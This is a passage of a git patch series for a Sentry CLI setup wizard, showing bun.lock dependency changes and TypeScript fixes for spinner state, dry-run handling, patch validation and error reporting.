"^1.30.1 || ^2.1.0", "@opentelemetry/semantic-conventions": "^1.39.0" } }, "sha512-eU8t/pyxjy7xYt6PNCVxT+8SJw5E3pnupdcUNN4ClqG4O5lX4QCDLtId48ki7i30VqrLtR7vmCHMSvqXXdvXPA=="], - "@sindresorhus/merge-streams": ["@sindresorhus/merge-streams@4.0.0", "", {}, "sha512-tlqY9xq5ukxTUZBmoOp+m61cqwQD5pHJtFY3Mn8CA8ps6yghLH/Hw8UPdqg4OLmFW3IFlcXnQNmo/dh8HzXYIQ=="], - "@sindresorhus/slugify": ["@sindresorhus/slugify@2.2.1", "", { "dependencies": { "@sindresorhus/transliterate": "^1.0.0", "escape-string-regexp": "^5.0.0" } }, "sha512-MkngSCRZ8JdSOCHRaYd+D01XhvU3Hjy6MGl06zhOk614hp9EOAp5gIkBeQg7wtmxpitU6eAL4kdiRMcJa2dlrw=="], "@sindresorhus/transliterate": ["@sindresorhus/transliterate@1.6.0", "", { "dependencies": { "escape-string-regexp": "^5.0.0" } }, "sha512-doH1gimEu3A46VX6aVxpHTeHrytJAG6HgdxntYnCFiIFHEM/ZGpG8KiZGBChchjQmG0XFIBL552kBTjVcMZXwQ=="], @@ -508,11 +504,9 @@ "eventsource-parser": ["eventsource-parser@3.0.6", "", {}, "sha512-Vo1ab+QXPzZ4tCa8SwIHJFaSzy4R6SHf7BY79rFBDf0idraZWAkYrDjDj8uWaSm3S2TK+hJ7/t1CEmZ7jXw+pg=="], - "execa": ["execa@9.6.1", "", { "dependencies": { "@sindresorhus/merge-streams": "^4.0.0", "cross-spawn": "^7.0.6", "figures": "^6.1.0", "get-stream": "^9.0.0", "human-signals": "^8.0.1", "is-plain-obj": "^4.1.0", "is-stream": "^4.0.1", "npm-run-path": "^6.0.0", "pretty-ms": "^9.2.0", "signal-exit": "^4.1.0", "strip-final-newline": "^4.0.0", "yoctocolors": "^2.1.1" } }, "sha512-9Be3ZoN4LmYR90tUoVu2te2BsbzHfhJyfEiAVfz7N5/zv+jduIfLrV2xdQXOHbaD6KgpGdO9PRPM1Y4Q9QkPkA=="], - "express": ["express@4.22.1", "", { "dependencies": { "accepts": "~1.3.8", "array-flatten": "1.1.1", "body-parser": "~1.20.3", "content-disposition": "~0.5.4", "content-type": "~1.0.4", "cookie": "~0.7.1", "cookie-signature": "~1.0.6", "debug": "2.6.9", "depd": "2.0.0", "encodeurl": "~2.0.0", "escape-html": "~1.0.3", "etag": "~1.8.1", "finalhandler": "~1.3.1", "fresh": "~0.5.2", "http-errors": "~2.0.0", "merge-descriptors": "1.0.3", "methods": "~1.1.2", "on-finished": "~2.4.1", "parseurl": "~1.3.3", "path-to-regexp": "~0.1.12", "proxy-addr": "~2.0.7", "qs": "~6.14.0", "range-parser": "~1.2.1", "safe-buffer": "5.2.1", "send": "~0.19.0", "serve-static": "~1.16.2", "setprototypeof": "1.2.0", "statuses": "~2.0.1", "type-is": "~1.6.18", "utils-merge": "1.0.1", "vary": "~1.1.2" } }, "sha512-F2X8g9P1X7uCPZMA3MVf9wcTqlyNp7IhH5qPCI0izhaOIYXaW9L535tGA3qmjRzpH+bZczqq7hVKxTR4NWnu+g=="], - "express-rate-limit": ["express-rate-limit@8.3.0", "", { "dependencies": { "ip-address": "10.1.0" }, "peerDependencies": { "express": ">= 4.11" } }, "sha512-KJzBawY6fB9FiZGdE/0aftepZ91YlaGIrV8vgblRM3J8X+dHx/aiowJWwkx6LIGyuqGiANsjSwwrbb8mifOJ4Q=="], + "express-rate-limit": ["express-rate-limit@8.2.1", "", { "dependencies": { "ip-address": "10.0.1" }, "peerDependencies": { "express": ">= 4.11" } }, "sha512-PCZEIEIxqwhzw4KF0n7QF4QqruVTcF73O5kFKUnGOyjbCCgizBBiFaYpd/fnBLUMPw/BWw9OsiN7GgrNYr7j6g=="], "extend-shallow": ["extend-shallow@2.0.1", "", { "dependencies": { "is-extendable": "^0.1.0" } }, "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug=="], @@ -524,8 +518,6 @@ "fdir": ["fdir@6.5.0", "", { "peerDependencies": { "picomatch": "^3 || ^4" }, "optionalPeers": ["picomatch"] }, "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg=="], - "figures": ["figures@6.1.0", "", { "dependencies": { "is-unicode-supported": "^2.0.0" } }, "sha512-d+l3qxjSesT4V7v2fh+QnmFnUWv9lSpjarhShNTgBOfA0ttejbQUAlHLitbjkoRiDulW0OPoQPYIGhIC8ohejg=="], - "fill-range": ["fill-range@7.1.1", "", { "dependencies": { "to-regex-range": "^5.0.1" } }, "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg=="], "finalhandler": ["finalhandler@1.3.2", "", { "dependencies": { "debug": "2.6.9", "encodeurl": "~2.0.0", "escape-html": "~1.0.3", "on-finished": "~2.4.1", "parseurl": "~1.3.3", "statuses": "~2.0.2", "unpipe": "~1.0.0" } }, "sha512-aA4RyPcd3badbdABGDuTXCMTtOneUCAYH/gxoYRTZlIJdF0YPWuGqiAsIrhNnnqdXGswYk6dGujem4w80UJFhg=="], @@ -560,8 +552,6 @@ "get-proto": ["get-proto@1.0.1", "", { "dependencies": { "dunder-proto": "^1.0.1", "es-object-atoms": "^1.0.0" } }, "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g=="], - "get-stream": ["get-stream@9.0.1", "", { "dependencies": { "@sec-ant/readable-stream": "^0.4.1", "is-stream": "^4.0.1" } }, "sha512-kVCxPF3vQM/N0B1PmoqVUqgHP+EeVjmZSQn+1oCRPxd2P21P2F19lIgbR3HBosbB1PUhOAoctJnfEn2GbN2eZA=="], - "glob": ["glob@13.0.0", "", { "dependencies": { "minimatch": "^10.1.1", "minipass": "^7.1.2", "path-scurry": "^2.0.0" } }, "sha512-tvZgpqk6fz4BaNZ66ZsRaZnbHvP/jG3uKJvAZOwEVUL4RTA5nJeeLYfyN9/VA8NX/V3IBG+hkeuGpKjvELkVhA=="], "glob-parent": ["glob-parent@5.1.2", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="], @@ -580,7 +570,7 @@ "highlight.js": ["highlight.js@10.7.3", "", {}, "sha512-tzcUFauisWKNHaRkN4Wjl/ZA07gENAjFl3J/c480dprkGTg5EQstgaNFqBfUqCq54kZRIEcreTsAgF/m2quD7A=="], - "hono": ["hono@4.12.5", "", {}, "sha512-3qq+FUBtlTHhtYxbxheZgY8NIFnkkC/MR8u5TTsr7YZ3wixryQ3cCwn3iZbg8p8B88iDBBAYSfZDS75t8MN7Vg=="], + "hono": ["hono@4.12.3", "", {}, "sha512-SFsVSjp8sj5UumXOOFlkZOG6XS9SJDKw0TbwFeV+AJ8xlST8kxK5Z/5EYa111UY8732lK2S/xB653ceuaoGwpg=="], "hono-openapi": ["hono-openapi@1.3.0", "", { "peerDependencies": { "@hono/standard-validator": "^0.2.0", "@standard-community/standard-json": "^0.3.5", "@standard-community/standard-openapi": "^0.2.9", "@types/json-schema": "^7.0.15", "hono": "^4.8.3", "openapi-types": "^12.1.3" }, "optionalPeers": ["@hono/standard-validator", "hono"] }, "sha512-xDvCWpWEIv0weEmnl3EjRQzqbHIO8LnfzMuYOCmbuyE5aes6aXxLg4vM3ybnoZD5TiTUkA6PuRQPJs3R7WRBig=="], @@ -588,8 +578,6 @@ "https-proxy-agent": ["https-proxy-agent@5.0.1", "", { "dependencies": { "agent-base": "6", "debug": "4" } }, "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="], - "human-signals": ["human-signals@8.0.1", "", {}, "sha512-eKCa6bwnJhvxj14kZk5NCPc6Hb6BdsU9DZcOnmQKSnO1VKrfV0zCvtttPZUsBvjmNDn8rpcJfpwSYnHBjc95MQ=="], - "humanize-ms": ["humanize-ms@1.2.1", "", { "dependencies": { "ms": "^2.0.0" } }, "sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ=="], "iconv-lite": ["iconv-lite@0.7.2", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw=="], @@ -600,7 +588,7 @@ "inherits": ["inherits@2.0.4", "", {}, "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="], - "ip-address": ["ip-address@10.1.0", "", {}, "sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q=="], + "ip-address": ["ip-address@10.0.1", "", {}, "sha512-NWv9YLW4PoW2B7xtzaS3NCot75m6nK7Icdv0o3lfMceJVRfSoQwqD4wEH5rLwoKJwUiZ/rfpiVBhnaF0FK4HoA=="], "ipaddr.js": ["ipaddr.js@1.9.1", "", {}, "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g=="], @@ -618,17 +606,11 @@ "is-number": ["is-number@7.0.0", "", {}, "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng=="], - "is-plain-obj": ["is-plain-obj@4.1.0", "", {}, "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg=="], - "is-promise": ["is-promise@4.0.0", "", {}, "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ=="], - "is-stream": ["is-stream@4.0.1", "", {}, "sha512-Dnz92NInDqYckGEUJv689RbRiTSEHCQ7wOVeALbkOz999YpqT46yMRIGtSNl2iCL1waAZSx40+h59NV/EwzV/A=="], - - "is-unicode-supported": ["is-unicode-supported@2.1.0", "", {}, "sha512-mE00Gnza5EEB3Ds0HfMyllZzbBrmLOX3vfWoj9A9PEnTfratQ/BcaJOuMhnkhjXvb2+FkY3VuHqtAGpTPmglFQ=="], - "isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="], - "jose": ["jose@6.2.0", "", {}, "sha512-xsfE1TcSCbUdo6U07tR0mvhg0flGxU8tPLbF03mirl2ukGQENhUg4ubGYQnhVH0b5stLlPM+WOqDkEl1R1y5sQ=="], + "jose": ["jose@6.1.3", "", {}, "sha512-0TpaTfihd4QMNwrz/ob2Bp7X04yuxJkjRGi4aKmOqwhov54i6u79oCv7T+C7lo70MKH6BesI3vscD1yb/yzKXQ=="], "js-tiktoken": ["js-tiktoken@1.0.21", "", { "dependencies": { "base64-js": "^1.5.1" } }, "sha512-biOj/6M5qdgx5TKjDnFT1ymSpM5tbd3ylwDtrQvFQSu0Z7bBYko2dF+W/aUkXUPuk6IVpRxk/3Q2sHOzGlS36g=="], @@ -696,8 +678,6 @@ "normalize-path": ["normalize-path@3.0.0", "", {}, "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="], - "npm-run-path": ["npm-run-path@6.0.0", "", { "dependencies": { "path-key": "^4.0.0", "unicorn-magic": "^0.3.0" } }, "sha512-9qny7Z9DsQU8Ou39ERsPU4OZQlSTP47ShQzuKZ6PRXpYLtIFgl/DEBYEXKlvcEa+9tHVcK8CF81Y2V72qaZhWA=="], - "nypm": ["nypm@0.6.4", "", { "dependencies": { "citty": "^0.2.0", "pathe": "^2.0.3", "tinyexec": "^1.0.2" }, "bin": { "nypm": "dist/cli.mjs" } }, "sha512-1TvCKjZyyklN+JJj2TS3P4uSQEInrM/HkkuSXsEzm1ApPgBffOn8gFguNnZf07r/1X6vlryfIqMUkJKQMzlZiw=="], "object-assign": ["object-assign@4.1.1", "", {}, "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg=="], @@ -708,7 +688,7 @@ "once": ["once@1.4.0", "", { "dependencies": { "wrappy": "1" } }, "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w=="], - "openai": ["openai@6.26.0", "", { "peerDependencies": { "ws": "^8.18.0", "zod": "^3.25 || ^4.0" }, "optionalPeers": ["ws", "zod"], "bin": { "openai": "bin/cli" } }, "sha512-zd23dbWTjiJ6sSAX6s0HrCZi41JwTA1bQVs0wLQPZ2/5o2gxOJA5wh7yOAUgwYybfhDXyhwlpeQf7Mlgx8EOCA=="], + "openai": ["openai@6.25.0", "", { "peerDependencies": { "ws": "^8.18.0", "zod": "^3.25 || ^4.0" }, "optionalPeers": ["ws", "zod"], "bin": { "openai": "bin/cli" } }, "sha512-mEh6VZ2ds2AGGokWARo18aPISI1OhlgdEIC1ewhkZr8pSIT31dec0ecr9Nhxx0JlybyOgoAT1sWeKtwPZzJyww=="], "openapi-types": ["openapi-types@12.1.3", "", {}, "sha512-N4YtSYJqghVu4iek2ZUvcN/0aqH1kRDuNqzcycDxhOUpg7GdvLa2F3DgS6yBNhInhv2r/6I0Flkn7CqL8+nIcw=="], @@ -770,7 +750,9 @@ "qrcode-terminal": ["qrcode-terminal@0.12.0", "", { "bin": { "qrcode-terminal": "./bin/qrcode-terminal.js" } }, "sha512-EXtzRZmC+YGmGlDFbXKxQiMZNwCLEO6BANKXG4iCtSIM0yqc/pappSx3RIKr4r0uh5JsBckOXeKrB3Iz7mdQpQ=="], - "qs": ["qs@6.14.2", "", { "dependencies": { "side-channel": "^1.1.0" } }, "sha512-V/yCWTTF7VJ9hIh18Ugr2zhJMP01MY7c5kh4J870L7imm6/DIzBsNLTXzMwUA3yZ5b/KBqLx8Kp3uRvd7xSe3Q=="], + "qs": ["qs@6.15.0", "", { "dependencies": { "side-channel": "^1.1.0" } }, "sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ=="], + + "quansync": ["quansync@0.2.11", "", {}, "sha512-AifT7QEbW9Nri4tAwR5M/uzpBuqfZf+zwaEM/QkzEjj7NBuFD2rBuy0K3dE+8wltbezDV7JMA0WfnCPYRSYbXA=="], "radash": ["radash@12.1.1", "", {}, "sha512-h36JMxKRqrAxVD8201FrCpyeNuUY9Y5zZwujr20fFO77tpUtGa6EZzfKw/3WaiBX95fq7+MpsuMLNdSnORAwSA=="], @@ -816,8 +798,6 @@ "side-channel-weakmap": ["side-channel-weakmap@1.0.2", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.5", "object-inspect": "^1.13.3", "side-channel-map": "^1.0.1" } }, "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A=="], - "signal-exit": ["signal-exit@4.1.0", "", {}, "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw=="], - "sisteransi": ["sisteransi@1.0.5", "", {}, "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg=="], "sprintf-js": ["sprintf-js@1.0.3", "", {}, "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g=="], @@ -830,8 +810,6 @@ "strip-bom-string": ["strip-bom-string@1.0.0", "", {}, "sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g=="], - "strip-final-newline": ["strip-final-newline@4.0.0", "", {}, "sha512-aulFJcD6YK8V1G7iRB5tigAP4TsHBZZrOV8pjV++zdUwmeV8uzbY7yn6h9MswN62adStNZFuCIx4haBnRuMDaw=="], - "supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], "thenify": ["thenify@3.3.1", "", { "dependencies": { "any-promise": "^1.0.0" } }, "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw=="], @@ -858,8 +836,6 @@ "undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="], - "unicorn-magic": ["unicorn-magic@0.3.0", "", {}, "sha512-+QBBXBCvifc56fsbuxZQ6Sic3wqqc3WWaqxs58gvJrcOuN83HGTCwz3oS5phzU9LthRNE9VrJCFCLUgHeeFnfA=="], - "unpipe": ["unpipe@1.0.0", "", {}, "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ=="], "unplugin": ["unplugin@1.0.1", "", { "dependencies": { "acorn": "^8.8.1", "chokidar": "^3.5.3", "webpack-sources": "^3.2.3", "webpack-virtual-modules": "^0.5.0" } }, "sha512-aqrHaVBWW1JVKBHmGo33T5TxeL0qWzfvjWokObHA9bYmN7eNDkwOxmLjhioHl9878qDFMAaT51XNroRyuz7WxA=="], @@ -890,8 +866,6 @@ "wrappy": ["wrappy@1.0.2", "", {}, "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="], - "ws": ["ws@8.19.0", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg=="], - "xtend": ["xtend@4.0.2", "", {}, "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ=="], "xxhash-wasm": ["xxhash-wasm@1.1.0", "", {}, "sha512-147y/6YNh+tlp6nd/2pWq38i9h6mz/EuQ6njIrmW8D1BS5nCqs0P6DG+m6zTGnNz5I+uhZ0SHxBs9BsPrwcKDA=="], @@ -906,8 +880,6 @@ "yocto-queue": ["yocto-queue@1.2.2", "", {}, "sha512-4LCcse/U2MHZ63HAJVE+v71o7yOdIe4cZ70Wpf8D/IyjDKYQLV5GD46B+hSTjJsvV5PztjvHoU580EftxjDZFQ=="], - "yoctocolors": ["yoctocolors@2.1.2", "", {}, "sha512-CzhO+pFNo8ajLM2d2IW/R93ipy99LWjtwblvC1RsoSUMZgyLbYFr221TnSNT7GjGdYui6P459mw9JH/g/zW2ug=="], - "zod": ["zod@3.25.76", "", {}, "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ=="], "zod-from-json-schema": ["zod-from-json-schema@0.5.2", "", { "dependencies": { "zod": "^4.0.17" } }, "sha512-/dNaicfdhJTOuUd4RImbLUE2g5yrSzzDjI/S6C2vO2ecAGZzn9UcRVgtyLSnENSmAOBRiSpUdzDS6fDWX3Z35g=="], @@ -958,14 +930,14 @@ "express/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="], + "express/qs": ["qs@6.14.2", "", { "dependencies": { "side-channel": "^1.1.0" } }, "sha512-V/yCWTTF7VJ9hIh18Ugr2zhJMP01MY7c5kh4J870L7imm6/DIzBsNLTXzMwUA3yZ5b/KBqLx8Kp3uRvd7xSe3Q=="], + "express/type-is": ["type-is@1.6.18", "", { "dependencies": { "media-typer": "0.3.0", "mime-types": "~2.1.24" } }, "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g=="], "finalhandler/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="], "glob/minimatch": ["minimatch@10.1.1", "", { "dependencies": { "@isaacs/brace-expansion": "^5.0.0" } }, "sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ=="], - "npm-run-path/path-key": ["path-key@4.0.0", "", {}, "sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ=="], - "p-locate/p-limit": ["p-limit@3.1.0", "", { "dependencies": { "yocto-queue": "^0.1.0" } }, "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ=="], "parse5-htmlparser2-tree-adapter/parse5": ["parse5@6.0.1", "", {}, "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw=="], From 7abb38138060276a542437e8dce76b4649876e6e Mon Sep 17 00:00:00 2001 From: betegon Date: Thu, 5 Mar 2026 21:00:43 +0100 Subject: [PATCH 69/72] fix(init): prevent double spinner stop and move precomputeDirListing into try/catch Track spinner running state via a mutable SpinState object to guard against calling spin.stop() twice when handleInteractive throws after the spinner was already stopped. Also moved precomputeDirListing inside the existing try/catch as a defensive improvement. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/wizard-runner.ts | 45 ++++++++++++++++++++++++++++------- 1 file changed, 37 insertions(+), 8 deletions(-) diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index 4240d995..1e0bd3f3 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -31,10 +31,13 @@ import type { type Spinner = ReturnType; +type SpinState = { running: boolean }; + type StepContext = { payload: SuspendPayload; stepId: string; spin: Spinner; + spinState: SpinState; options: WizardOptions; }; @@ -53,7 +56,7 @@ async function handleSuspendedStep( stepPhases: Map, stepHistory: Map[]> ): Promise> { - const { payload, stepId, spin, options } = ctx; + const { payload, stepId, spin, spinState, options } = ctx; const label = STEP_LABELS[stepId] ?? stepId; if (payload.type === "local-op") { @@ -84,10 +87,12 @@ async function handleSuspendedStep( } spin.stop(label); + spinState.running = false; const interactiveResult = await handleInteractive(payload, options); spin.start("Processing..."); + spinState.running = true; return { ...interactiveResult, @@ -98,6 +103,7 @@ async function handleSuspendedStep( // Unreachable: assertSuspendPayload validates the type before we get here. // Kept as a defensive fallback. spin.stop("Error", 1); + spinState.running = false; log.error( `Unknown suspend payload type "${(payload as { type: string }).type}"` ); @@ -207,13 +213,15 @@ export async function runWizard(options: WizardOptions): Promise { const workflow = client.getWorkflow(WORKFLOW_ID); const spin = spinner(); + const spinState: SpinState = { running: false }; spin.start("Scanning project..."); - const dirListing = precomputeDirListing(directory); + spinState.running = true; let run: Awaited>; let result: WorkflowRunResult; try { + const dirListing = precomputeDirListing(directory); spin.message("Connecting to wizard..."); run = await workflow.createRun(); result = assertWorkflowResult( @@ -228,6 +236,7 @@ export async function runWizard(options: WizardOptions): Promise { ); } catch (err) { spin.stop("Connection failed", 1); + spinState.running = false; log.error(errorMessage(err)); cancel("Setup failed"); process.exitCode = 1; @@ -245,6 +254,7 @@ export async function runWizard(options: WizardOptions): Promise { const extracted = extractSuspendPayload(result, stepId); if (!extracted) { spin.stop("Error", 1); + spinState.running = false; log.error(`No suspend payload found for step "${stepId}"`); cancel("Setup failed"); process.exitCode = 1; @@ -252,7 +262,13 @@ export async function runWizard(options: WizardOptions): Promise { } const resumeData = await handleSuspendedStep( - { payload: extracted.payload, stepId: extracted.stepId, spin, options }, + { + payload: extracted.payload, + stepId: extracted.stepId, + spin, + spinState, + options, + }, stepPhases, stepHistory ); @@ -274,25 +290,38 @@ export async function runWizard(options: WizardOptions): Promise { process.exitCode = 1; return; } - spin.stop("Error", 1); + if (spinState.running) { + spin.stop("Error", 1); + spinState.running = false; + } log.error(errorMessage(err)); cancel("Setup failed"); process.exitCode = 1; return; } - handleFinalResult(result, spin); + handleFinalResult(result, spin, spinState); } -function handleFinalResult(result: WorkflowRunResult, spin: Spinner): void { +function handleFinalResult( + result: WorkflowRunResult, + spin: Spinner, + spinState: SpinState +): void { const hasError = result.status !== "success" || result.result?.exitCode; if (hasError) { - spin.stop("Failed", 1); + if (spinState.running) { + spin.stop("Failed", 1); + spinState.running = false; + } formatError(result); process.exitCode = 1; } else { - spin.stop("Done"); + if (spinState.running) { + spin.stop("Done"); + spinState.running = false; + } formatResult(result); } } From 08a86890589da76c5fd36ab981bd856b09b86e01 Mon Sep 17 00:00:00 2001 From: betegon Date: Thu, 5 Mar 2026 21:14:34 +0100 Subject: [PATCH 70/72] fix(init): add dry-run guard to createSentryProject Skip all API calls (org resolution, team creation, project creation, DSN fetch) when dryRun is true and return placeholder data instead. Slug validation is kept before the guard so invalid names are still caught in dry-run mode. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/local-ops.ts | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 79024f71..3dc12716 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -508,9 +508,15 @@ function applyPatchset( const { cwd, params } = payload; - // Phase 1: Validate all paths before writing anything + // Phase 1: Validate all paths and actions before writing anything for (const patch of params.patches) { safePath(cwd, patch.path); + if (!["create", "modify", "delete"].includes(patch.action)) { + return { + ok: false, + error: `Unknown patch action: "${patch.action}" for path "${patch.path}"`, + }; + } } // Phase 2: Apply patches @@ -617,6 +623,20 @@ async function createSentryProject( }; } + // In dry-run mode, skip all API calls and return placeholder data + if (options.dryRun) { + return { + ok: true, + data: { + orgSlug: "(dry-run)", + projectSlug: slug, + projectId: "(dry-run)", + dsn: "(dry-run)", + url: "(dry-run)", + }, + }; + } + try { // 1. Resolve org const orgResult = await resolveOrgSlug(payload.cwd, options.yes); From cda7aef8da1bc2bfe53c05049fb6fa70f4fef7d5 Mon Sep 17 00:00:00 2001 From: betegon Date: Thu, 5 Mar 2026 21:35:50 +0100 Subject: [PATCH 71/72] fix(init): include applied patches in applyPatchset error responses When applyPatchset fails mid-application, the error response now includes the list of already-applied patches so the server can track partial progress. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/local-ops.ts | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 3dc12716..28d6321d 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -538,6 +538,7 @@ function applyPatchset( return { ok: false, error: `Cannot modify "${patch.path}": file does not exist`, + data: { applied }, }; } fs.writeFileSync(absPath, patch.patch, "utf-8"); @@ -555,6 +556,7 @@ function applyPatchset( return { ok: false, error: `Unknown patch action: "${patch.action}" for path "${patch.path}"`, + data: { applied }, }; } } From 4d4f650035b7b05add6e5c6ea23d8126bb649b16 Mon Sep 17 00:00:00 2001 From: betegon Date: Fri, 6 Mar 2026 11:14:54 +0100 Subject: [PATCH 72/72] fix(init): surface API error details in project creation failures Previously, when createProject returned a 400, only the generic status message was shown (e.g. "Failed to create project: 400 Bad Request"). Now uses ApiError.format() to include the response detail, giving users visibility into why the request failed. Co-Authored-By: 